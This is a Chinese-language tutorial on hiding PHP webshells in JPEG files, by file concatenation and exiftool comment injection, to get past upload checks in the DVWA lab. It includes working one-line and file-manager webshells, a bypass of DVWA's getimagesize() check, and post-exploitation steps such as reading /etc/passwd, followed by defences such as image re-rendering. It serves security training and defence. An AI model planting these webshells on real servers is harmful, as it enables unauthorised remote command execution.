1. 项目概述:当图片不再是图片
在Web安全测试,尤其是渗透测试的初级阶段,文件上传漏洞是一个绕不开的经典课题。很多新手朋友拿到一个上传点,兴冲冲地传上一个.php后缀的木马文件,结果页面直接弹出一个红色的“文件类型不允许”或者被安全软件无情拦截,测试就卡在了第一步。这时候,一个老练的测试者会怎么做?他可能会微微一笑,从工具箱里拿出“图片木马隐写”这项技术。这听起来有点黑客电影的味道,但它的核心原理其实并不复杂,本质是一种“瞒天过海”的策略。我们这次要聊的,就是如何亲手制作一个“披着羊皮的狼”——将PHP木马代码巧妙地藏进一张普通的图片里,然后利用DVWA(Damn Vulnerable Web Application)这个故意设计得漏洞百出的靶场,来完整演练从制作、上传到最终获取系统权限的整个过程。这不仅是技术实操,更是一次对安全防御机制思维方式的深入理解。
2. 核心原理与前置知识拆解
在动手之前,我们必须搞清楚两件事:第一,为什么普通的木马文件传不上去?第二,为什么把木马藏在图片里就可能成功?
2.1 常见的上传点防御机制
网站防御上传漏洞,通常会在三个层面设置关卡:
- 客户端校验(最弱):通常使用JavaScript检查文件扩展名(如
.php,.jsp)。这种校验在浏览器端完成,很容易被绕过,比如直接禁用浏览器JS,或者用Burp Suite这类工具拦截修改请求。 - 服务端MIME类型校验:检查HTTP请求头中的
Content-Type字段,例如图片对应的image/jpeg或image/png。攻击者可以轻易伪造这个请求头。 - 服务端文件内容校验(较强):这是我们要重点应对的。它又分为两种:
- 文件头校验:检查文件开头的几个字节(魔数)。例如,
JPEG图片的开头是FF D8 FF E0,PNG图片的开头是89 50 4E 47。服务器会验证你上传的文件是否拥有合法的图片文件头。 - 文件内容渲染校验(最强):少数严格的系统会尝试用图像处理库(如GD库、ImageMagick)去真正地“打开”或“渲染”一下这个文件。如果文件无法被正常解析为图片,则拒绝上传。
- 文件头校验:检查文件开头的几个字节(魔数)。例如,
我们的“图片木马”主要就是为了绕过文件头校验。我们让文件拥有一个合法的图片文件头,这样就能骗过这层检查。
2.2 图片木马隐写的两种主流方式
理解了防御,我们来看看攻击的“矛”。将PHP代码与图片结合,主要有两种技术路径:
文件合并(拼接):这是最简单粗暴的方法。在Windows下可以用命令行
copy /b 1.jpg + 2.php 3.jpg,在Linux下用cat 1.jpg 2.php > 3.jpg。它的原理是将图片文件和PHP木马文件以二进制形式首尾相接,合并成一个新文件。新文件的前半部分是完整的图片数据,后半部分是PHP代码。当服务器检查文件头时,看到的是合法的图片标识,因此放行。但这种方式有个致命缺点:如果服务器进行了内容渲染校验,当图像库试图读取这个“图片”时,可能会因为文件尾部附加的“垃圾数据”而解析失败,导致上传被拒。代码注入(Exif/注释块注入):这是一种更隐蔽、兼容性更好的方法。JPEG、PNG等图片格式除了存储像素数据,还包含一些用于存储元数据的“段”(Segment)或“块”(Chunk),比如Exif信息(拍摄参数)、注释等。我们可以将PHP代码写入这些元数据区域。例如,在JPEG的
COM(注释)段,或者PNG的tEXt(文本信息)块中插入代码。因为图像渲染器通常只关心图像数据本身,会忽略这些元数据,所以文件既能通过文件头校验,也能通过绝大多数内容渲染校验。这是我们本次实战将采用的主要方法。
注意:无论哪种方式,最终要使木马被执行,还需要一个关键前提:服务器能以某种方式“解析”这个文件中的PHP代码。仅仅上传成功是不够的。通常需要配合文件包含漏洞(LFI/RFI)、或者服务器配置错误(如将
.jpg文件误解析为PHP)等后续利用手段。在DVWA中,我们主要利用其文件上传漏洞本身的设计,它有时会直接存储并访问我们上传的文件。
3. 实战环境搭建与工具准备
工欲善其事,必先利其器。我们首先需要一个安全的实验环境。
3.1 DVWA靶场搭建
DVWA是一个PHP/MySQL编写的Web漏洞演练平台。为了绝对安全,请在虚拟机或本地隔离环境中搭建。
推荐方案:使用Docker一键部署这是最干净、最便捷的方式,能避免污染本地PHP环境。
# 拉取DVWA官方镜像 docker pull vulnerables/web-dvwa # 运行容器,将容器内80端口映射到宿主机的8080端口 docker run -d -p 8080:80 --name dvwa vulnerables/web-dvwa启动后,在浏览器访问http://localhost:8080即可。首次访问需要点击页面上的Create / Reset Database按钮初始化数据库。默认登录账号/密码为admin/password。
手动搭建(适用于学习LAMP环境): 如果你希望更深入了解其结构,可以手动部署。需要准备:PHP(>=5.4)、MySQL、Apache/Nginx。从DVWA官网下载源码,解压到Web目录,配置config/config.inc.php文件中的数据库连接信息。
实操心得:强烈建议使用Docker。它不仅部署快,而且实验完成后一句
docker rm -f dvwa就能彻底清理,不留任何后患。手动搭建经常会遇到PHP版本兼容、函数禁用(如disable_functions)等问题,对新手不友好。
3.2 必备工具清单
- 文本编辑器/IDE:用于编写PHP木马代码。Notepad++、VS Code、PhpStorm均可。
- 十六进制编辑器:这是制作高级图片木马的核心工具。用于查看和修改文件的二进制结构。
- Windows推荐:
HxD(免费轻量)、010 Editor(功能强大)。 - Linux/Mac推荐:命令行工具
hexdump、xxd,或图形化工具Bless、GHex。
- Windows推荐:
- Burp Suite 或 OWASP ZAP:用于拦截和修改HTTP请求,是绕过客户端校验、测试MIME类型伪造的利器。
- 浏览器:Chrome或Firefox,并安装开发者工具(F12)。
- Kali Linux(可选但推荐):作为渗透测试专用系统,它集成了几乎所有我们可能用到的工具,如
exiftool、steghide等。可以在虚拟机中安装。
4. 手把手制作你的第一个图片木马
我们从最简单的文件合并开始,逐步深入到更隐蔽的代码注入。
4.1 方法一:文件合并(基础绕过)
首先,准备两个文件:
normal.jpg- 一张真实的、正常的图片。shell.php- 一个简单的PHP木马,内容如下:
<?php @eval($_POST['cmd']);?>这是一个经典的“一句话木马”(WebShell),eval()函数会执行cmd参数传递过来的任意PHP代码。@符号用于抑制错误信息。
在Windows下操作:
- 打开命令提示符(CMD)。
- 切换到文件所在目录。
- 执行命令:
copy /b normal.jpg + shell.php webshell.jpg这行命令将normal.jpg和shell.php的二进制内容合并,生成新文件webshell.jpg。
在Linux/Mac下操作:
cat normal.jpg shell.php > webshell.jpg原理验证: 用记事本打开webshell.jpg,滚动到文件最底部,你应该能看到<?php @eval($_POST['cmd']);?>这行代码。用图片查看器打开这个文件,前半部分的图片通常能正常显示(因为图像解码器读到图片结束标记后就停止了,忽略了后面的数据)。
上传测试:
- 将DVWA安全级别设置为
Low(在DVWA Security页面)。 - 访问
File Upload模块。 - 上传
webshell.jpg。在Low级别下,DVWA只检查文件扩展名,我们可以直接将.jpg文件上传成功。 - 上传后,DVWA会显示文件存储路径,例如
../../hackable/uploads/webshell.jpg。 - 访问这个路径,例如
http://localhost:8080/hackable/uploads/webshell.jpg。你会发现浏览器可能直接下载了这个文件,或者显示了一堆乱码。为什么?- 因为服务器(Apache/Nginx)默认将
.jpg文件当作静态图片资源处理,直接将其二进制内容发送给浏览器,而不会交给PHP解析器去执行其中的<?php ... ?>代码。
- 因为服务器(Apache/Nginx)默认将
关键点:文件合并法上传容易,但执行难。它通常需要配合其他漏洞,比如:
- 本地文件包含(LFI):找到一个存在LFI漏洞的页面,例如
include.php?file=../../uploads/webshell.jpg,这样服务器就会把webshell.jpg当作PHP脚本包含进来并执行。 - 服务器解析漏洞:古老的IIS 6.0目录解析漏洞(
*.asp;.jpg),或者Apache在特定配置下的解析漏洞(如AddType application/x-httpd-php .jpg)。
在DVWA的Low级别文件上传中,它实际上重命名了文件,但我们可以尝试利用其本身的逻辑。不过,为了更通用地演示绕过内容校验,我们进入下一个方法。
4.2 方法二:Exif注释注入(高级绕过)
这种方法利用了图片文件的“元数据”区域。我们使用一个强大的命令行工具——exiftool。
安装exiftool:
- Kali Linux:已预装。
- Ubuntu/Debian:
sudo apt install libimage-exiftool-perl - Windows:从官网下载可执行文件,并将其路径加入系统环境变量。
制作图片木马: 准备一个干净的
clean.jpg。在命令行中执行:
exiftool -Comment='<?php system($_GET["c"]); ?>' clean.jpg这条命令将PHP代码`<?php system($_GET["c"]); ?>`写入图片的`Comment`(注释)字段。`system()`函数可以执行系统命令,`$_GET["c"]`用于接收URL参数。 执行后,会生成一个`clean.jpg_original`(原始备份)和一个修改后的`clean.jpg`。- 验证注入: 使用
exiftool查看图片元数据:
exiftool clean.jpg | grep Comment你会看到输出中包含我们写入的PHP代码。- 上传与利用: 将修改后的
clean.jpg上传到DVWA(安全级别仍为Low)。 假设上传后的路径是http://localhost:8080/hackable/uploads/clean.jpg。 此时直接访问,依然是图片。我们需要找到一个能触发服务器“解析”图片中PHP代码的点。在真实场景中,这可能是文件包含漏洞。但在DVWA的Medium级别文件上传中,我们可以演示其如何绕过内容检查。
4.3 深入:绕过DVWA Medium级别防御
将DVWA安全级别调到Medium,查看File Upload源码(或查看source/medium.php)。你会发现它增加了对文件类型和内容的检查:
// 检查MIME类型 if (($uploaded_type == "image/jpeg") || ($uploaded_type == "image/png")) { // 检查文件大小 if ($uploaded_size < 100000) { // 检查文件内容是否是真正的图片 if (!getimagesize($uploaded_tmp_name)) { $html .= '<pre>Your image is not an image.</pre>'; } else { // 上传成功 } } }关键函数是getimagesize(),它会尝试读取图片信息,如果失败则返回false。我们刚才用exiftool制作的图片,getimagesize()是能成功读取的,因为它是一个结构完好的真图片,只是注释里藏了代码。所以,这个方法能成功绕过Medium级别的检查!
上传测试:
- 用
exiftool制作的clean.jpg上传到Medium级别,成功。 - 上传后,DVWA可能会将其重命名为
*.jpg。访问这个图片链接,它依然显示为图片。 - 如何利用?在
Medium级别,DVWA可能仍然不直接解析.jpg为PHP。我们需要再次寻找文件包含点,或者,如果服务器配置了畸形解析规则(实战中较少见),才有可能直接执行。这个练习的核心在于成功绕过上传时的内容校验。
注意事项:
exiftool默认可能会清理掉一些“不安全”的字符。如果你写入的代码包含复杂的符号,可能会被转义或截断。一个更底层的方法是使用十六进制编辑器,直接找到JPEG文件的COM段标识符FF FE,在其后的数据区插入代码。这需要你对JPEG文件结构有更深的了解,但隐蔽性最强。
5. 利用上传漏洞获取Shell
上传成功只是第一步,让木马“活”起来才是目标。我们假设在一个更宽松或存在其他漏洞的模拟场景中(例如DVWA的Low级别,且我们上传了一个.php文件,或者服务器错误配置)。
5.1 编写功能更强的WebShell
一个简单的eval($_POST['cmd'])虽然强大,但交互性不好。我们可以上传一个功能更全面的WebShell,例如经典的中国菜刀或蚁剑的兼容Shell。
创建一个shell.php,内容如下:
<?php // 简单的文件管理型WebShell if(isset($_GET['action']) && $_GET['action'] == 'list') { $path = isset($_GET['path']) ? $_GET['path'] : '.'; echo "<h3>Listing: " . htmlspecialchars($path) . "</h3>"; $files = scandir($path); echo "<ul>"; foreach($files as $file) { echo "<li>" . htmlspecialchars($file) . "</li>"; } echo "</ul>"; } elseif(isset($_POST['cmd'])) { system($_POST['cmd']); } else { echo '<form method="post">CMD: <input type="text" name="cmd"><input type="submit"></form>'; echo '<br><a href="?action=list">List Current Dir</a>'; } ?>这个Shell提供了两个功能:执行系统命令和列出目录文件。
5.2 连接与操控
- 直接浏览器访问:上传后,访问
http://靶机地址/uploads/shell.php,你会看到一个表单。在输入框里输入系统命令,如whoami(Linux)或whoami(Windows),即可查看当前Web服务运行的用户身份。输入ls -la或dir可以查看目录。 - 使用专业客户端连接:对于
eval($_POST['cmd'])这种一句话木马,可以使用中国蚁剑(AntSword)或C刀等图形化工具。这些工具提供了文件管理、数据库管理、虚拟终端等更强大的功能,使用起来像操作FTP客户端一样方便。- 在蚁剑中,添加一个数据,URL填写你的WebShell地址,连接密码填写
cmd(对应$_POST['cmd']),编码器一般选择default即可。
- 在蚁剑中,添加一个数据,URL填写你的WebShell地址,连接密码填写
5.3 权限提升与内网探测(思路延伸)
获取WebShell通常只是拿到了一个“跳板”。这个用户权限可能很低(如www-data,apache,iis apppool\defaultapppool)。后续可能需要进行:
- 信息收集:
uname -a查看系统信息,cat /etc/passwd查看用户,ifconfig或ipconfig查看网络,netstat -antp查看网络连接和进程。 - 提权尝试:寻找系统内核漏洞、SUID文件、错误的权限配置、数据库凭据等,尝试将权限提升至
root或Administrator。 - 内网横向移动:如果这台服务器处于内网,可以利用它作为跳板,扫描和攻击内网中的其他机器。
重要警告:所有这些操作仅限在你拥有完全权限的本地实验环境、虚拟机或授权的渗透测试靶场中进行。未经授权对任何系统进行渗透测试是非法行为。
6. 防御方案与安全编程建议
知己知彼,百战不殆。了解了攻击手法,我们才能更好地防御。
6.1 针对图片木马的多层防御策略
一个健壮的上传功能应该实施“纵深防御”:
- 白名单文件扩展名校验(服务端):只允许
.jpg,.jpeg,.png,.gif等有限的图片扩展名。禁止.php,.phtml,.php5,.phar,.inc等可执行扩展名。 - MIME类型校验(服务端):检查
$_FILES[‘file’][‘type’],但不可依赖,需结合其他手段。 - 文件头校验(服务端):使用
getimagesize()、exif_imagetype()等函数验证文件确实是有效的图片。这是防御简单文件合并的有效手段。 - 文件内容二次渲染(服务端-最强):这是防御Exif注入等高级手法的有效方法。使用GD库或ImageMagick等库,将上传的图片读取、转换为新的图片资源,再保存为新文件。这个过程会剥离所有元数据(包括我们注入的代码)。
// PHP GD库示例 $uploadedFile = $_FILES['file']['tmp_name']; $imageInfo = getimagesize($uploadedFile); if ($imageInfo === false) { die("Not a valid image"); } $mime = $imageInfo['mime']; switch ($mime) { case 'image/jpeg': $sourceImage = imagecreatefromjpeg($uploadedFile); imagejpeg($sourceImage, $safeFilePath, 90); // 保存为新的JPEG,质量90% break; case 'image/png': $sourceImage = imagecreatefrompng($uploadedFile); imagepng($sourceImage, $safeFilePath); break; // ... 其他格式处理 } imagedestroy($sourceImage); // 最终使用 $safeFilePath, 删除原始上传文件 $uploadedFile - 重命名与隔离存储:上传的文件不要使用原始文件名,应使用随机生成的文件名(如UUID)。并将文件存储在Web根目录之外,通过脚本(如
readfile.php?id=xxx)来读取和输出,避免直接访问。 - 设置严格的文件系统权限:上传目录应禁止执行权限。在Linux上,设置目录权限为
755,文件权限为644。 - 使用Web应用防火墙(WAF):部署WAF可以拦截一些已知的恶意文件上传模式和攻击payload。
6.2 开发者自查清单
- [ ] 是否仅在前端做了JS校验?(必须加上服务端校验)
- [ ] 是否使用了黑名单?(应改为白名单)
- [ ] 是否只校验了扩展名和MIME类型?(必须校验文件内容)
- [ ] 上传的文件是否保存在Web可直访的目录?(应移至非Web目录或严格控制访问)
- [ ] 上传目录是否有执行权限?(必须取消执行权限)
- [ ] 是否对上传图片进行了二次处理/压缩?(这是很好的安全实践)
7. 常见问题与排查实录
在实际操作中,你可能会遇到以下问题:
Q1:上传的图片木马访问时直接下载,不执行PHP代码?A1:这是最常见的情况。原因有二:一是文件扩展名是.jpg,服务器未配置将其解析为PHP;二是没有文件包含漏洞来包含它。解决方案:1) 寻找文件包含点;2) 尝试其他可解析的扩展名(如.php5,.phtml,取决于服务器配置);3) 在靶场环境中,确认靶场设计是否支持直接执行上传的脚本。在DVWA的Low级别文件上传中,如果你上传一个纯.php文件,它是可以被执行的。
Q2:使用exiftool注入代码后,图片损坏无法打开?A2:可能注入的代码包含了特殊字符(如?,>),破坏了JPEG段的结构。解决方案:1) 尝试将代码进行Base64编码后再注入,例如<?php eval(base64_decode(‘…’)); ?>;2) 使用十六进制编辑器进行精确注入,确保不破坏原有的段标识和长度字段。
Q3:DVWA的Medium或High级别,getimagesize()检查总是失败?A3:确保你使用的源图片是完全正常、未损坏的图片。用exiftool注入时,最好使用-overwrite_original参数直接修改原文件,避免备份文件干扰。也可以先用getimagesize()函数测试一下你制作好的图片木马在本地PHP环境是否能通过。
Q4:中国蚁剑等工具连接一句话木马失败?A4:可能原因:1)防火墙/安全软件拦截:靶机或本机的防火墙拦截了连接;2)WebShell密码不对:确认$_POST[‘xxx’]中的变量名与连接器设置一致;3)代码被过滤:如果靶场有WAF或代码过滤,可能eval、assert等函数被禁用。尝试使用其他变形的一句话木马;4)编码问题:尝试在蚁剑中切换不同的编码器(如base64,rot13)。
Q5:如何检测自己的网站是否存在图片木马?A5:1)定期扫描上传目录:使用clamav等杀毒软件扫描服务器上的文件。2)使用专用WebShell扫描工具:如D盾,WebShellKill等。3)人工审计:检查上传目录中文件的大小、时间戳异常,或直接使用grep、find命令搜索文件内容中是否包含eval(、system(、base64_decode(等危险函数。4)部署RASP或文件完整性监控:实时监控网站目录下文件的创建和修改。
这个从制作到防御的完整闭环,不仅是一次技术演练,更是一次安全思维的训练。在合规的范围内掌握这些知识,能让你在开发时写出更安全的代码,在安全评估时更透彻地理解风险所在。记住,所有的技术都应当用在正当的、被授权的领域。